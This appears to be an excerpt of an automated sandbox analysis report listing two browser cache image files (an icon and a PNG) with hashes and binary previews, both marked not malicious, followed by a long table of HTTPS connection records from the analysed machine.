Size (bytes):	15406
Entropy (8bit):	4.967552114438246
Encrypted:	false
SSDEEP:	192:2xApRWtvbsjgIYYQlV47U/1z8QsCj99/R1qa/PRZs6M75m4vU6GCi28urvZQYH3:FRIwcVeq8wjjLENG72tl
MD5:	31D62B976C16DB52CBF0D5631BCDE62C
SHA1:	18F2D0B838D766B642E787E222075DDFF5285662
SHA-256:	04663FB0B01FC27B402519F0B000DB2B98EF3754C8C99C21E304262D2353AB62
SHA-512:	104E20B3977B6ADAF6847D62199656A4E93CA3478D78335DBA65B807C4375E8AA3FB41BD12B3EA0CF11C689C21BC1486DA063415372F4AD090D95DC2517880E1
Malicious:	false
Reputation:	low
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... ....................................................o..o.z.................................................v.........{...u.v.m.................................O.................y...r...l..g.O.................x...n!..c...a/..............w...o...h...c..._...Zx..........z9..v-..q!..h...^...b:..~.......t...j...c...^...Z}..Wz..........zH..zE..y<..u...o!..f..W.a.\|.a.n..c...\...Xy..Uv..Tq..........zS..{T..{T..{Q..yG..v...........d...Y{.Tu..Po..Kh..t\..........{`..\|b..\|e..\|i..\|n..................Mk..If..C]..lS...P..........{l..\|p..\|u..}}..}.z.................C^z.ST..O...O...O..........}x..}\|..}...}...mw..I7...........N..L...M...M...N...N..........}...}...}...~...ag..\9..xC..G..I..K...K...L...M...N..........}...}...~...~...ak..^:..{C..F..H..I..K..K...L...M..........x...}...~.......bl.._;..\|C..F...G..I..J..K..K...K..................~.O....gt..a;..}C..F..G..H..I..JO......................

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 286 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7115
Entropy (8bit):	7.963812060299321
Encrypted:	false
SSDEEP:	192:ESBW7OKnwRKKrPq0lxbF4vMU7YzO1gR3C2Wl2:DY7PSrLprUEF3CH2
MD5:	747D2C674F731EDFD2779D83C8532E24
SHA1:	C40A635C160D4CA763D8C86F560CB937A8E1090B
SHA-256:	CA13C3E1EC9B3484F3E6AF002F127C03DE8E5171E76D37A5749A3CD75D098B05
SHA-512:	ED821EAB2956895A140C55AE7F79668F8DBB55D54408251ADED0C57200D8AD04E40DFF95EEBA79D6D149FDF82FE77F21EEEBB235EE7BC12C84A6FF0DD3CB6691
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......).......Fw....pHYs.................sRGB.........gAMA......a....`IDATx.........G.l.$...h..D..(.Jm..HZP.....%YS.d-Q....Fv!.`..y.s.}.;wf.sg.s?..y..=...\|..<.s.M.d..3...{.......sgIcL.......t..>../Y.d..ko.(..g.I.B.J....={Z......H...&o...-.X....;>s_Xr.../..pL.5j...&L.%.IJJ.8r..x....^.4h0.p..W.t.M;".....Uj.....[.y.fQE&q.>(. .r..7'.Y.G.&M....:thO.6$#^..;..\\|$.b....~.i.F...V../Y[..(`Z.l.4x..[....(....}..3$.8......>b...=..F.[.u..5.6l....Cbb...4(Ae..N.:....._..a.r.E5.......(....{.W_}%...\.re.... ..5k.Z.R.....?;.....Byx..Pa).n.........Q....G..{.....y.H6.`...s<....t.I.-.../g.y.\x.r.i.Y"....>....]Z2..n.M.V.Y.K..D...J.#:...]t.....3.\|..F.....9.cR...C."ER....+.~..G.;.<+.~P..\...G:..x..q.....o.bfp.UW.....~Xz..)D.V.(.....}...&...[.:.,..4.$.^{....W\!......n..\|..........7o../..9.h.G.....c...2e.-..&.+s..e).'O......E.1....S..:+V....I.:u.{....~.W_}U>..C...'.h..q.<.....~..g9.O..h.1c...n.....h....f..N{...mq.v..gXk.?..Y.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 19:21:55.904962063 CET	49674	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:21:55.904973030 CET	49675	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:21:56.014328957 CET	49673	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:22:05.506040096 CET	49675	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:22:05.506041050 CET	49674	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:22:05.615302086 CET	49673	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:22:08.047588110 CET	443	49703	23.1.237.91	192.168.2.5
Dec 11, 2024 19:22:08.047846079 CET	49703	443	192.168.2.5	23.1.237.91
Dec 11, 2024 19:22:08.459490061 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:08.459543943 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:08.459633112 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:08.459903955 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:08.459920883 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:09.950444937 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.950558901 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:09.950629950 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.951005936 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.951117039 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:09.951199055 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.951221943 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.951256037 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:09.951488018 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:09.951524019 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:10.159495115 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:10.159836054 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:10.159902096 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:10.160819054 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:10.160983086 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:10.165437937 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:10.165569067 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:10.212806940 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:10.212835073 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:10.258933067 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:11.170105934 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.170423985 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.170490980 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.172015905 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.172084093 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173136950 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173212051 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173223972 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.173299074 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173330069 CET	443	49714	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.173356056 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173413992 CET	49714	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173804998 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.173902988 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.174035072 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.174220085 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.174242973 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.176177979 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.176372051 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.176436901 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.177516937 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.177580118 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178699970 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178771019 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.178802013 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178849936 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178880930 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.178909063 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178916931 CET	443	49713	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.178961992 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.178961992 CET	49713	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.179173946 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.179213047 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:11.179425955 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.179605961 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:11.179617882 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.400360107 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.436800003 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.436841965 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.438512087 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.438640118 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.440511942 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.440591097 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.441412926 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.441425085 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.493844986 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.505167961 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.505476952 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.505491018 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.506633043 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.506745100 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.507066011 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.507129908 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.555545092 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:12.555567026 CET	443	49717	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:12.602462053 CET	49717	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.066023111 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.066250086 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.066306114 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.066324949 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.066412926 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.066462040 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.066468000 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.074002981 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.074059963 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.074070930 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.082300901 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.082355022 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.082365036 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.090591908 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.090706110 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.090715885 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.144181013 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.186441898 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.240947962 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.258052111 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.261800051 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.261888981 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.261899948 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.268110991 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.268202066 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.268208027 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.268249035 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.268294096 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.269807100 CET	49716	443	192.168.2.5	172.67.215.131
Dec 11, 2024 19:22:13.269826889 CET	443	49716	172.67.215.131	192.168.2.5
Dec 11, 2024 19:22:13.419907093 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:13.419975042 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:13.420068979 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:13.420289993 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:13.420300007 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:13.491956949 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:13.492075920 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:13.492268085 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:13.492268085 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:13.492297888 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:13.492378950 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:13.492482901 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:13.492506027 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:13.492615938 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:13.492629051 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.640394926 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:14.640784025 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:14.640821934 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:14.642590046 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:14.642659903 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:14.643812895 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:14.643894911 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:14.644131899 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:14.644145966 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:14.694833040 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:14.719446898 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.722054005 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.760581970 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:14.760669947 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.760729074 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:14.760746002 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.763878107 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.763982058 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:14.764628887 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.764699936 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:14.765189886 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:14.765264034 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.765414953 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:14.765431881 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:14.765583992 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:14.765749931 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:14.765758038 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.765779018 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.813371897 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:14.814403057 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:14.814441919 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:14.860418081 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.072057962 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.118123055 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.157061100 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:15.157268047 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:15.157335043 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.157690048 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.157730103 CET	443	49720	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:15.157757044 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.157782078 CET	49720	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.159430027 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.159468889 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:15.159533024 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.159754992 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:15.159770966 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:15.164356947 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.164479971 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.164530039 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.164554119 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.164652109 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.164704084 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.164710999 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.170481920 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.170567036 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.170593977 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.170613050 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.170656919 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.178879023 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.191587925 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191603899 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191625118 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191632986 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191665888 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191695929 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.191786051 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.191829920 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.191857100 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.224895954 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.224947929 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.274497986 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.284097910 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.288568974 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.288758993 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.288788080 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.305210114 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.305223942 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.305269957 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.305471897 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.305471897 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.305529118 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.305593014 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.336971998 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.348138094 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.348201990 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.348382950 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.348382950 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.348407984 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.348462105 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.356281042 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.360325098 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.360446930 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.360512972 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.371243000 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.371345997 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.371449947 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.371473074 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.371536016 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.379393101 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.389513969 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.389712095 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.389734030 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.395442009 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.395530939 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.395545006 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.403100014 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.403168917 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.403182983 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.411036015 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.411117077 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.411128998 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.419032097 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.419111013 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.419126034 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.433084011 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.433274031 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.433295012 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.439512014 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.439579010 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.439590931 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.445584059 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.445678949 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.445692062 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.451626062 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.451694965 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.451709986 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.451868057 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.451926947 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.452085972 CET	49719	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.452141047 CET	443	49719	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.475616932 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.475655079 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.475748062 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.475819111 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.475858927 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.475883007 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.499861956 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.499907970 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.499978065 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.500000954 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.500030994 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.500046968 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.515120029 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.515249014 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.515268087 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.515311956 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.515386105 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.515520096 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.515556097 CET	443	49718	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.515579939 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.515616894 CET	49718	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.593997002 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.594100952 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.594193935 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.594399929 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:15.594419003 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:15.658206940 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.658262014 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:15.658368111 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.658631086 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:15.658648014 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.380116940 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.380434990 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.380460024 CET	443	49721	104.18.95.41	192.168.2.5
